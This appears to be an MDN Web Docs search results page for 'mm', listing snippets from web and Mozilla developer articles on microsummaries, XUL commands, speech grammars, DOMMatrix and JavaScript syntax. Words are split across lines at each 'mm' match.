Search completed in 1.09 seconds.
Microsummary XML grammar reference - Archive of obsolete content
a microsu
mmary generator is an xml document that describes how to pull specific information from a web page to be presented in su
mmary form as a bookmark whose title changes based on the content of the page it targets.
... warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml gra
mmar used to build microsu
mmary generators, describing each element and their attributes.
... for an introduction to how to create a microsu
mmary, read the article creating a microsu
mmary.
...And 27 more matches
<command>: The HTML Command element - HTML: Hypertext Markup Language
the html co
mmand element (<co
mmand>) represents a co
mmand which the user can invoke.
... co
mmands are often used as part of a context menu or toolbar.
... the <co
mmand> element is included in the w3c specification, but not in the whatwg specification, and browser support is nonexistent.
...And 12 more matches
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
the html disclosure su
mmary element (<su
mmary>) element specifies a su
mmary, caption, or legend for a <details> element's disclosure box.
... clicking the <su
mmary> element toggles the state of the parent <details> element open and closed.
... usage notes the <su
mmary> element's contents can be any heading content, plain text, or html that can be used within a paragraph.
...And 10 more matches
SpeechGrammar.SpeechGrammar() - Web APIs
the speechgra
mmar constructor of the speechgra
mmar interface creates a new speechgra
mmar object instance.
... syntax var myspeechgra
mmar = new speechgra
mmar(); parameters none.
... examples var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; var newgra
mmar = new speechgra
mmar(); newgra
mmar.src = '#jsgf v1.0; gra
mmar names; public <name> = chris | kirsty | mike;' speechrecog...
...nitionlist[1] = newgra
mmar; // should add the new speechgra
mmar object to the list specifications specification status co
mment web speech apithe definition of 'speechgra
mmar()' in that specification.
SpeechGrammarList.SpeechGrammarList() - Web APIs
the speechgra
mmarlist() constructor creates a new speechgra
mmarlist object instance.
... syntax var mygra
mmarlist = new speechgra
mmarlist(); parameters none.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgra
mmarlist, add our gra
mmar string to it using the speechgra
mmarlist.addfromstring method, and set it to be the gra
mmar that will be recognised by the speechrecognition instance using the speechrecognition.gra
mmars property.
... var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; specifications specification status co
mment web speech apithe definition of 'speechgra
mmarlist' in that specification.
MMgc - Archive of obsolete content
mmgc is the tamarin (née macromedia) garbage collector, a memory management library that has been built as part of the avm2/tamarin effort.
...using
mmgc managed vs.
... unmanaged memory
mmgc is not only a garbage collector, but a general-purpose memory manager.
...And 71 more matches
Command line crash course - Learn web development
previous overview: understanding client-side tools next in your development process you'll undoubtedly be required to run some co
mmand in the terminal (or on the "co
mmand line" — these are effectively the same thing).
... this article provides an introduction to the terminal, the essential co
mmands you'll need to enter into it, how to chain co
mmands together, and how to add your own co
mmand line interface (cli) tools.
... objective: to understand what the terminal/co
mmand line is, what basic co
mmands you should learn, and how to install new co
mmand line tools.
...And 69 more matches
Commands - Archive of obsolete content
« previousnext » a co
mmand is an operation which may be invoked.
... co
mmand elements the co
mmand element is used to create co
mmands which can be used to carry out operations.
... you don't need to use co
mmands, since you can just call a script to handle things.
...And 64 more matches
nsIMicrosummaryService
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides methods for managing installed microsu
mmaries, and the bookmarks they apply to.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/microsu
mmary/service;1 as a service: var microsu
mmaryservice = components.classes["@mozilla.org/microsu
mmary/service;1"] .getservice(components.interfaces.nsimicrosu
mmaryservice); method overview void addgenerator(in nsiuri generatoruri); nsimicrosu
mmary createmicrosu
mmary(in nsiuri pageuri, in nsiuri generatoruri); nsisimpleenumerator getbookmarks(); nsimicrosu
mmarygenerator getgenerator(in nsiuri generatoruri); nsimicrosu
mmaryset getm...
...icrosu
mmaries(in nsiuri pageuri, in long long bookmarkid); nsimicrosu
mmary getmicrosu
mmary(in long long bookmarkid); boolean hasmicrosu
mmary(in long long bookmarkid); nsimicrosu
mmarygenerator installgenerator(in nsidomdocument xmldefinition); boolean ismicrosu
mmary(in long long bookmarkid, in nsimicrosu
mmary microsu
mmary); nsimicrosu
mmary refreshmicrosu
mmary(in long long bookmarkid); void removemicrosu
mmary(in long long bookmarkid); void setmicrosu
mmary(in long long bookmarkid, in nsimicrosu
mmary microsu
mmary); methods addgenerator() install the microsu
mmary generator from the resource at the supplied uri.
...And 40 more matches
Updating Commands - Archive of obsolete content
« previousnext » in this section, we will look at how to update co
mmands.
... invoking co
mmands if a co
mmand has an onco
mmand attribute, you can invoke it just by using the doco
mmand method of the co
mmand or an element which links to it.
... for other co
mmands, you will need to use a couple of additional lines of code.
...And 37 more matches
DOMMatrixReadOnly - Web APIs
the do
mmatrixreadonly interface represents a read-only 4×4 matrix, suitable for 2d and 3d operations.
... the do
mmatrix interrface—which is based upon do
mmatrixreadonly—adds mutability, allowing you to alter the matrix after creating it.
... do
mmatrixreadonly.flipx() returns a new do
mmatrix created by flipping the source matrix around its x-axis.
...And 27 more matches
Commenting IDL for better documentation
the documentation team has tools that convert co
mments from the doxygen format into the standard reference article format we use here on mdn, with certain limitations.
... this article will help you understand how you can format your co
mments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented.
... happily, following these reco
mmendations will also help ensure your co
mments are extremely human-readable, too.
...And 26 more matches
Creating a Microsummary - Archive of obsolete content
warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a microsu
mmary generator is a set of instructions for creating a microsu
mmary from the content of a page.
... web pages can reference generators via <link rel="microsu
mmary"> elements in their <head> elements.
... in this tutorial we're going to create a microsu
mmary generator for the spread firefox home page that displays the current firefox download count along with the label fx downloads; for example: 174475447 fx downloads.
...And 25 more matches
Command line options
co
mmand line options are used to specify various startup options for mozilla applications.
... for example, if you have multiple profiles you can use co
mmand line configuration options to bypass the profile manager and open a specific profile.
...this page describes the co
mmonly used options and how to use them.
...And 24 more matches
DOMMatrix - Web APIs
the do
mmatrix interface represents 4×4 matrices, suitable for 2d and 3d operations including rotation and translation.
... it is a mutable version of the do
mmatrixreadonly interface.
... constructor do
mmatrix() creates and returns a new do
mmatrix object.
...And 23 more matches
Lexical grammar - JavaScript
this page describes javascript's lexical gra
mmar.
... the source text of ecmascript scripts gets scanned from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, co
mments or white space.
... \n u+000d carriage return <cr> new line character in co
mmodore and early mac systems.
...And 21 more matches
nsICommandLine
toolkit/components/co
mmandlines/public/nsico
mmandline.idlscriptable represents the co
mmand line used to invoke a xul application.
... this may be the original co
mmand line of this instance or a co
mmand line provided remotely by another instance of the application.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) components may implement the nsico
mmandlinehandler interface to add custom co
mmand line handling behavior.
...And 19 more matches
Adding Events and Commands - Archive of obsolete content
the most co
mmonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here.
... please read appendix a for reco
mmendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox.
...these are some notable events you should keep in mind: onco
mmand.
...And 18 more matches
Handling common accessibility problems - Learn web development
previous overview: cross browser testing next next we turn our attention to accessibility, providing information on co
mmon problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
... objective: to be able to diagnose co
mmon accessibility problems, and use appropriate tools and techniques to fix them.
... when we say accessibility in the context of web technology, most people i
mmediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnification/zoom to access text people with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.
...And 18 more matches
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at co
mmon cross-browser javascript problems and how to fix them.
... objective: to be able to diagnose co
mmon javascript cross-browser problems, and use appropriate tools and techniques to fix them.
...there are a number of co
mmon javascript problems that you will want to be mindful of, such as: basic syntax and logic problems (again, check out troubleshooting javascript).
...And 17 more matches
Grammar and types - JavaScript
« previousnext » this chapter discusses javascript's basic gra
mmar, variable declarations, data types and literals.
...(for more information, see the detailed reference about javascript's lexical gra
mmar.) it is considered best practice, however, to always write a semicolon after a statement, even when it is not strictly needed.
... the source text of javascript script gets scanned from left to right, and is converted into a sequence of input elements which are tokens, control characters, line terminators, co
mments, or whitespace.
...And 15 more matches
nsIMicrosummary
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface defines attributes and methods for dealing with microsu
mmaries generated by an nsimicrosu
mmarygenerator.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosu
mmaryobserver observer); boolean equals(in nsimicrosu
mmary aother); void removeobserver(in nsimicrosu
mmaryobserver observer); void update(); attributes attribute type description content astring the content of the microsu
mmary.
... generator nsimicrosu
mmarygenerator the generator that generates this microsu
mmary.
...And 14 more matches
Microsummary topics - Archive of obsolete content
warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) progra
mmatically installing a microsu
mmary generator to progra
mmatically install a microsu
mmary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosu
mmaryservice interface implemented by the nsimicrosu
mmaryservice component, then call its installgenerator() method, passing it an xml document containing the generator.
... for example, the following code snippet installs the microsu
mmary generator from the creating a microsu
mmary tutorial: var generatortext = ' \ <?xml version="1.0" encoding="utf-8"?> \ <generator xmlns="http://www.mozilla.org/microsu
mmaries/0.1" \ name="firefox download count" \ uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"> \ <template> \ <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> \ <output method="text"/> \ <template match="/"> \ <value-of select="id(\'download-count\')"/> \ <text> fx downloads</text> \ </template> \ </transform> \ </template> \ <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> \ '; var ...
... createinstance(components.interfaces.nsidomparser); var generatordoc = domparser.parsefromstring(generatortext, "text/xml"); var microsu
mmaryservice = components.classes["@mozilla.org/microsu
mmary/service;1"].
...And 13 more matches
command - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a co
mmand element can be used to invoke an operation that can come from multiple sources.
...you attach the code to the co
mmand using the onco
mmand attribute.
...in addition, disabling the co
mmand will automatically disable the menu items and keyboard shortcuts.
...And 13 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the co
mmon cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
... objective: to be able to diagnose co
mmon html and css cross browser problems, and use appropriate tools and techniques to fix them.
...responsive design problems are also co
mmon — a site that looks good in a desktop browser might provide a terrible experience on a mobile device, because the content is too small to read, or perhaps the site is slow because of expensive animations.
...And 13 more matches
nsIMicrosummaryGenerator
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides access to a microsu
mmary that has been installed in firefox.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosu
mmarygenerator aother); astring generatemicrosu
mmary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded.
... name autf8string an arbitrary descriptive name for this microsu
mmary generator.
...And 11 more matches
Document.execCommand() - Web APIs
when an html document has been switched to designmode, its document object exposes an execco
mmand method to run co
mmands that manipulate the current editable region, such as form inputs or contenteditable elements.
... most co
mmands affect the document's selection (bold, italics, etc.), while others insert new elements (adding a link), or affect an entire line (indenting).
... when using contenteditable, execco
mmand() affects the currently active editable element.
...And 10 more matches
Trailing commas - JavaScript
trailing co
mmas (sometimes called "final co
mmas") can be useful when adding new elements, parameters, or properties to javascript code.
... if you want to add a new property, you can simply add a new line without modifying the previously last line if that line already uses a trailing co
mma.
... javascript has allowed trailing co
mmas in array literals since the beginning, and later added them to object literals (ecmascript 5) and most recently (ecmascript 2017) to function parameters.
...And 10 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a regular expression is a special kind of string (i.e.
...microsu
mmary generators use them to identify the pages that the generators know how to su
mmarize by matching patterns in those pages' urls.
...to learn how to create a microsu
mmary generator, see creating a microsu
mmary.
...And 9 more matches
commandset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is not displayed and serves as a container for co
mmand elements.
... in addition, this element can hold a co
mmand updater which is used to update co
mmands when certain events occur.
... a co
mmon use of the co
mmand updater is to update cut, copy, and paste menu items.
...And 9 more matches
Using cross commit - Archive of obsolete content
cross-co
mmit is a script that allows a single patch to be easily checked in on multiple branches.
... getting the script "make -f client.mk pull_all" from a working copy of the trunk now pulls cross-co
mmit, and that'll work on the 1.8 branch soon, too, so you might already have the script.
... if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-co
mmit note that you will need to have $cvsroot and such set up correctly for this to work.
...And 8 more matches
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
one of the quirks of slashdot is that it includes a co
mments count, a humorous department, a hit parade, and a section with every blog post.
...02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <slash:co
mments>43</slash:co
mments> </item> <item> <title>what is the 3571st prime number</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</lastbuilddate></pubdate> <link>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</link> <slash:co
mments>72...
...</slash:co
mments> </item> <item> <title>first article!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <slash:co
mments>118</slash:co
mments> </item> </channel> </rss> the <slash:co
mments> element is it reason that the rss slash module is popular.
...And 8 more matches
The "codecs" parameter in common media types - Web media technologies
as noted elsewhere, this format was once co
mmonly used on the web but no longer is, since it required a plugin to use.
...you can specify multiple codecs by separating them with co
mmas.
...this value defines the function used to map the ga
mma (delightfully called the "opto-electrical transfer function" in technical parlance) from the source to the display.
...And 8 more matches
Providing Command-Line Options - Archive of obsolete content
extensions and xul applications can modify the way co
mmand line parameters are handled by writing a component that implements the nsico
mmandlinehandler interface and registering it in a category.
... see also: xulrunner:co
mmandline overview the code below is an example of writing a javascript xpcom component to handle co
mmand line parameters.
... you can learn more about how the co
mmand line is interpreted by looking at the documentation for the nsico
mmandline interface.
...And 7 more matches
CommandLine - Archive of obsolete content
handling co
mmand line arguments with xulrunner for multiple instances application it's fairly easy to retrieve application specific co
mmand line arguments in xulrunner when it's not a single instance application.
... an nsico
mmandline object is passed as the first argument of the launched window: example var cmdline = window.arguments[0]; cmdline = cmdline.queryinterface(components.interfaces.nsico
mmandline); alert(cmdline.handleflagwithparam("test", false)); see also: chrome: co
mmand line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched.
... however, if you'd like to retrieve the latest co
mmand line arguments (to open a file for example), a possible solution is to create your own co
mmand line handler.
...And 7 more matches
General asynchronous programming concepts - Learn web development
overview: asynchronous next in this article, we'll run through a number of important concepts relating to asynchronous progra
mming, and how this looks in web browsers and javascript.
... objective: to understand the basic concepts behind asynchronous progra
mming, and how they manifest in web browsers and javascript.
...this lets you get other work done in the meantime, which is the basis of asynchronous progra
mming.
...And 7 more matches
SpeechGrammarList - Web APIs
the speechgra
mmarlist interface of the web speech api represents a list of speechgra
mmar objects containing words or patterns of words that we want the recognition service to recognize.
... gra
mmar is defined using jspeech gra
mmar format (jsgf.) other formats may also be supported in the future.
... constructor speechgra
mmarlist.speechgra
mmarlist() creates a new speechgra
mmarlist object.
...And 7 more matches
Communicating With Other Scripts - Archive of obsolete content
this section of the guide explains how content scripts can co
mmunicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your content scripts can co
mmunicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api.
...any two content scripts can co
mmunicate by using the main add-on script to manually relay messages between the content scripts.
...but, they can each co
mmunicate with the main add-on script which could be written to relay messages between them.
...And 6 more matches
Solve common problems in your JavaScript code - Learn web development
the following links point to solutions to co
mmon problems you may encounter when writing javascript.
... co
mmon beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc.
... some co
mmon built-in browser functions that cause problems are: correct wrong getelementsbytagname() getelementbytagname() getelementsbyname() getelementbyname() getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly.
...And 6 more matches
DownloadSummary
a reference to a downloadsu
mmary object can be obtained using the downloads.getsu
mmary() function.
...views on the su
mmarized data can be registered before this object is bound to an actual list.
... this allows the su
mmary to be used without requiring the initialization of the downloadlist first.
...And 6 more matches
nsIMicrosummaryObserver
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides methods for observing changes to micru
mmaries.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void oncontentloaded(in nsimicrosu
mmary microsu
mmary); void onelementappended(in nsimicrosu
mmary microsu
mmary); void onerror(in nsimicrosu
mmary microsu
mmary); methods oncontentloaded() called when an observed microsu
mmary updates its content.
... since an observer might watch multiple microsu
mmaries at the same time, the microsu
mmary whose content has been updated gets passed to this handler.
...And 6 more matches
nsIMicrosummarySet
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides access to sets of microsu
mmaries returned from the nsimicrosu
mmaryservice.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosu
mmaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosu
mmaryobserver observer); methods addobserver() add a microsu
mmary observer to this microsu
mmary set.
... adding an observer to a set is the equivalent of adding it to each constituent microsu
mmary.
...And 6 more matches
Comment - Web APIs
the co
mment interface represents textual notations within markup; although it is generally not visually shown, such co
mments are available to be read in the source view.
... co
mments are represented in html and xml as content between '<!--' and '-->'.
... in xml, the character sequence '--' cannot be used within a co
mment.
...And 6 more matches
SpeechGrammarList.addFromURI() - Web APIs
the addfromuri() method of the speechgra
mmarlist interface takes a gra
mmar present at a specific uri and adds it to the speechgra
mmarlist as a new speechgra
mmar object.
... note that some speech recognition services may support built-in gra
mmars that can be specified by uri.
... syntax speechgra
mmarlistinstance.addfromuri(src,weight); returns void.
...And 6 more matches
Comments - CSS: Cascading Style Sheets
a css co
mment is used to add explanatory notes to the code or to prevent the browser from interpreting specific parts of the style sheet.
... by design, co
mments have no effect on the layout of a document.
... syntax co
mments can be placed wherever white space is allowed within a style sheet.
...And 6 more matches
Comma operator (,) - JavaScript
the co
mma operator (,) evaluates each of its operands (from left to right) and returns the value of the last operand.
...this is co
mmonly used to provide multiple parameters to a for loop.
... usage notes you can use the co
mma operator when you want to include multiple expressions in a location that requires a single expression.
...And 6 more matches
Tamarin mercurial commit hook - Archive of obsolete content
it is highly reco
mmended that all developers enable the mercurial co
mmit hook for tamarin.
... the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-co
mmit-hook.py this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for this text and warns user as security changes should not be checked into the public tamarin-redux repository.
... installing the co
mmit hook the easiest way to implement the hook is to sync to the tip of tamarin-redux then add the following to your tamarin-redux/.hg/hgrc file (or to ~/.hgrc to implement for all local repos): [hooks] pretxnco
mmit.co
mmit = python:/path/to/tamarin-redux/utils/hooks/tamarin-co
mmit-hook.py:master_hook once added, all co
mmits will run the co
mmit hook.
...And 5 more matches
Server-side website programming first steps - Learn web development
in this module we answer a few fundamental questions about server-side progra
mming — "what is it?", "how does it differ from client-side progra
mming?", and "why is it so useful?".
... prerequisites before starting this module, you don't need to have any knowledge of server-side website progra
mming, or indeed any other type of progra
mming.
...we reco
mmend that you first read the following topics: what is a web server?
...And 5 more matches
Recommended Drag Types - Web APIs
the document describes best practices for co
mmon draggable data types.
... it is reco
mmended to always add data of the text/plain type as a fallback for applications or drop targets that do not support other types, unless there is no logical text alternative.
...lines that begin with a number sign (#) are co
mments, and should not be considered urls.
...And 5 more matches
SpeechGrammarList.addFromString() - Web APIs
the addfromstring() method of the speechgra
mmarlist interface takes a gra
mmar present in a specific domstring within the code base (e.g.
... stored in a variable) and adds it to the speechgra
mmarlist as a new speechgra
mmar object.
... syntax speechgra
mmarlistinstance.addfromstring(string,weight); returns void.
...And 5 more matches
command - Archive of obsolete content
the co
mmand event is executed when an element is activated.
...co
mmand elements can be activated by any of their observing elements being activated.
... the co
mmand event should always be used instead of the click event because it will be called in all of the needed cases.
...And 4 more matches
Server-side website programming - Learn web development
the dynamic websites – server-side progra
mming topic is a series of modules that show how to create dynamic websites; websites that deliver customised information in response to http requests.
... the modules provide a general introduction to server-side progra
mming.
... in the modern world of web development, learning about server-side development is highly reco
mmended.
...And 4 more matches
nsICommandController
content/xul/document/public/nsicontroller.idlscriptable an enhanced controller interface that supports passing parameters to co
mmands.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-co
mmand-controller;1.
... to create an instance, use: var co
mmandcontroller = components.classes["@mozilla.org/embedcomp/base-co
mmand-controller;1"] .createinstance(components.interfaces.nsico
mmandcontroller); method overview void doco
mmandwithparams(in string co
mmand, in nsico
mmandparams aco
mmandparams); void getco
mmandstatewithparams( in string co
mmand, in nsico
mmandparams aco
mmandparams); methods doco
mmandwithparams() executes the specified co
mmand with a set of parameters contained in an nsico
mmandparams object.
...And 4 more matches
nsICommandLineHandler
toolkit/components/co
mmandlines/public/nsico
mmandlinehandler.idlscriptable handles arguments on the co
mmand line of a xul application.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each co
mmand line handler is registered in the category "co
mmand-line-handler".
...example: category entry value co
mmand-line-handler b-jsdebug @mozilla.org/venkman/clh;1 co
mmand-line-handler c-extensions @mozilla.org/extension-manager/clh;1 co
mmand-line-handler m-edit @mozilla.org/composer/clh;1 co
mmand-line-handler m-irc @mozilla.org/chatzilla/clh;1 co
mmand-line-handler y-final @mozilla.org/browser/clh-final;1 method overview void handle(in nsico
mmandline aco
mmandlin...
...And 4 more matches
nsICommandLineRunner
the nsico
mmandlinerunner is an extension of nsico
mmandline used to initialize co
mmand lines and run them by processing the comand line handlers.
... toolkit/components/co
mmandlines/public/nsico
mmandlinerunner.idlscriptable please add a su
mmary to this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsico
mmandline method overview void init(in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state); void run(); void setwindowcontext(in nsidomwindow awindow); attributes attribute type description helptext autf8string process and combine the help text provided by each co
mmand-line handler.
...And 4 more matches
DOMMatrixReadOnly.scale() - Web APIs
the scale() method of the do
mmatrixreadonly interface creates a new matrix being the result of the original matrix with a scale transform applied.
... do
mmatrix.scale(scalex[, scaley][, scalez][, originx][, originy][, originz]) parameters scalex a multiplier for the scale value on the x-axis.
... return value returns a do
mmatrix containing a new matrix being the result of the matrix x and y dimensions being scaled by the given factor, centered on the origin given.
...And 4 more matches
IDBTransaction.commit() - Web APIs
the co
mmit() method of the idbtransaction interface co
mmits the transaction if it is called on an active transaction.
... note that co
mmit() doesn't normally have to be called — a transaction will automatically co
mmit when all outstanding requests have been satisfied and no new requests have been made.
... co
mmit() can be used to start the co
mmit process without waiting for events from outstanding requests to be dispatched.
...And 4 more matches
SpeechGrammar - Web APIs
the speechgra
mmar interface of the web speech api represents a set of words or patterns of words that we want the recognition service to recognize.
... gra
mmar is defined using jspeech gra
mmar format (jsgf.) other formats may also be supported in the future.
... constructor speechgra
mmar.speechgra
mmar() creates a new speechgra
mmar object.
...And 4 more matches
SpeechRecognitionEvent.emma - Web APIs
the e
mma read-only property of the speechrecognitionevent interface returns an extensible multimodal annotation markup language (e
mma) — xml — representation of the result.
... note: e
mma is defined in the specification e
mma: extensible multimodal annotation markup language.
... you can see muliple e
mma examples in the spec.
...And 4 more matches
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a callback function i
mmediately after the browser has completed other operations such as events and display updates.
... syntax var i
mmediateid = seti
mmediate(func, [param1, param2, ...]); var i
mmediateid = seti
mmediate(func); where i
mmediateid is the id of the i
mmediate which can be used later with window.cleari
mmediate.
... notes the cleari
mmediate method can be used to clear the i
mmediate actions, just like cleartimeout for settimeout.
...And 4 more matches
ARIA: Comment role - Accessibility
the co
mment landmark role semantically denotes a co
mment/reaction to some content on the page, or to a previous co
mment.
... examples in the following example we have a document section that has been co
mmented.
... the co
mmented section is marked up using <span role="mark">.
...And 4 more matches
Useful Mozilla Community Sites - Archive of obsolete content
« previous the mozilla co
mmunity is very rich and active.
... babelzilla babelzilla is a worldwide co
mmunity of localizers.
...the co
mmunity is very active, and you can be sure to get translations for the most co
mmonly used languages within a few days of submitting your extension.
...And 3 more matches
Common causes of memory leaks in extensions - Extensions
storing references to window objects and dom nodes the most co
mmon problem is extensions holding onto references to content windows for too long.
... // this kind of subtle bug is very co
mmon.
... causes of other kinds of leaks other than javascript compartments, add-ons may also leak entities that do not get a dedicated compartment, most co
mmonly chrome dom windows and javascript code modules.
...And 3 more matches
Common questions - Learn web development
this section of the learning area is designed to provide answers to co
mmon questions that may come up, which are not necessarily part of the structured core learning pathways (e.g.
...at its most basic, the internet is a massive network of computers co
mmunicating with each other.
... this article shows how to publish your site online with ftp tools — one of the most co
mmon ways to get a website online so others can access it from their computers.
...And 3 more matches
Document.queryCommandEnabled() - Web APIs
the document.queryco
mmandenabled() method reports whether or not the specified editor co
mmand is enabled by the browser.
... syntax isenabled = document.queryco
mmandenabled(co
mmand); parameters co
mmand the co
mmand for which to determine support.
... return value returns a boolean which is true if the co
mmand is enabled and false if the co
mmand isn't.
...And 3 more matches
Range.commonAncestorContainer - Web APIs
the range.co
mmonancestorcontainer read-only property returns the deepest — or furthest down the document tree — node that contains both boundary points of the range.
... this means that if range.startcontainer and range.endcontainer both refer to the same node, this node is the co
mmon ancestor container.
... syntax rangeancestor = range.co
mmonancestorcontainer; example in this example, we create an event listener to handle pointerup events on a list.
...And 3 more matches
<mmultiscripts> - MathML
the mathml <
mmultiscripts> element allows you to create tensor-like objects.
... mathml uses a special syntax to describe subscripts and superscripts for both, postscripts and prescripts, attached to a base expression: <
mmultiscripts> base (subscript superscript)* [ <mprescripts/> (presubscript presuperscript)* ] </
mmultiscripts> after the base expression you can specify a postsubscript and a postsuperscript.
... examples using <mprescripts/> sample rendering: rendering in your browser: x d c b a <math> <
mmultiscripts> <mi>x</mi> <!-- base expression --> <mi>d</mi> <!-- postsubscript --> <mi>c</mi> <!-- postsuperscript --> <mprescripts /> <mi>b</mi> <!-- presubscript --> <mi>a</mi> <!-- presuperscript --> </
mmultiscripts> </math> using <none/> sample rendering: rendering in your browser: x c b <math> ...
...And 3 more matches
List of commands - Archive of obsolete content
the following lists co
mmands which might be usable by <co
mmand> or co
mmand dispatchers/controllers.
... list of co
mmands (grouped by type) nsdomwindowcontroller co
